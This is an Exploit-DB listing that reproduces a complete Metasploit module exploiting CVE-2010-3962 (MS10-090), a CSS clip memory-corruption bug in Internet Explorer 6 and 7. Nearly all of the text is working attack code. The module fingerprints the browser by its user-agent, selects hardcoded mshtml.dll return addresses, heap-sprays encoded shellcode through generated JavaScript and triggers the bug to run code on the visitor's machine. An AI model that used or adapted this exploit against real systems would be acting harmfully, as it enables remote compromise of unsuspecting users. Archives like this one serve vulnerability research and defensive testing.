标题: Microsoft Internet Explorer - CSS SetUserClip Memory Corruption (MS10-090) (Metasploit) EDB-ID: 16551 CVE: 2010-3962 类型: REMOTE 平台: WINDOWS 发布日期: 2011-01-20 漏洞利用脚本: ##
# $Id: ms10_090_ie_css_clip.rb 11610 2011-01-20 19:30:59Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "7.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :vuln_test  => nil, # no way to test without just trying it
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer CSS SetUserClip Memory Corruption',
   'Description'    => %q{
     Thie module exploits a memory corruption vulnerability within Microsoft's
    HTML engine (mshtml). When parsing an HTML page containing a specially
    crafted CSS tag, memory corruption occurs that can lead arbitrary code
    execution.

    It seems like Microsoft code inadvertantly increments a vtable pointer to
    point to an unaligned address within the vtable's function pointers. This
    leads to the program counter being set to the address determined by the
    address "[vtable+0x30+1]". The particular address depends on the exact
    version of the mshtml library in use.

    Since the address depends on the version of mshtml, some versions may not
    be exploitable. Specifically, those ending up with a program counter value
    within another module, in kernel space, or just not able to be reached with
    various memory spraying techniques.

    Also, since the address is not controllable, it is unlikely to be possible
    to use ROP to bypass non-executable memory protections.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'unknown',        # discovered in the wild
     '@yuange1975',    # PoC posted to twitter
     'Matteo Memelli', # exploit-db version
     'jduck'           # Metasploit module
    ],
   'Version'        => '$Revision: 11610 $',
   'References'     =>
    [
     [ 'CVE', '2010-3962' ],
     [ 'OSVDB', '68987' ],
     [ 'BID', '44536' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/15421/' ],
     [ 'MSB', 'MS10-090' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],

     #
     # Special target, we put it first so its index doesn't change.
     #
     [ 'Debug',
      {
       'Ret' => 0x00010101, # tiny spray, sure to crash :)
      }
     ],

     #
     # In the targets below, 'Ret' means where EIP ends up (not under our control)
     #
     [ 'Internet Explorer 6',
      {
       'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ?
       #'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000
       #'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000
      }
     ],

     [ 'Internet Explorer 7',
      {
       'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000
      }
     ],

     #
     # Although IE8 is affected, we don't currently have a working target for it.
     #
=begin
     [ 'Internet Explorer 8 on Windows 7',
      {
       #'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000
       'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000
       #'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000
      }
     ]
=end
    ],
   'DisclosureDate' => 'Nov 3 2010',
   'DefaultTarget'  => 0))
 end

 def auto_target(cli, request)
  mytarget = nil

  agent = request.headers['User-Agent']
  #print_status("Checking user agent: #{agent}")
  if agent =~ /MSIE 6\.0/
   mytarget = targets[2]   # IE6 on NT, 2000, XP and 2003
  elsif agent =~ /MSIE 7\.0/
   mytarget = targets[3]   # IE7 on XP and 2003
=begin
  elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/
   mytarget = targets[4]   # IE8 on Windows 7
=end
  else
   print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
  end

  mytarget
 end

 def on_request_uri(cli, request)

  mytarget = target
  if target.name == 'Automatic'
   mytarget = auto_target(cli, request)
   if (not mytarget)
    send_not_found(cli)
    return
   end
  end

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))

  # Set the return\nops
  ret = Rex::Text.to_unescape(make_nops(4))

  # Construct the javascript
  js = <<-EOS
var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("#{ret}");
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }
}
var shellcode = unescape("#{shellcode}");
sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38));
document.write("<table style=position:absolute;clip:rect(0)>");
EOS
  opts = {
   'Symbols' => {
    'Variables' => %w{ shellcode retSlide payLoadSize memory index
     heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
     heapBlockCnt },
    'Methods'   => %w{ sprayHeap }
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  #js.obfuscate()

  # Construct the final page
  html = <<-EOS
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
EOS

  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16551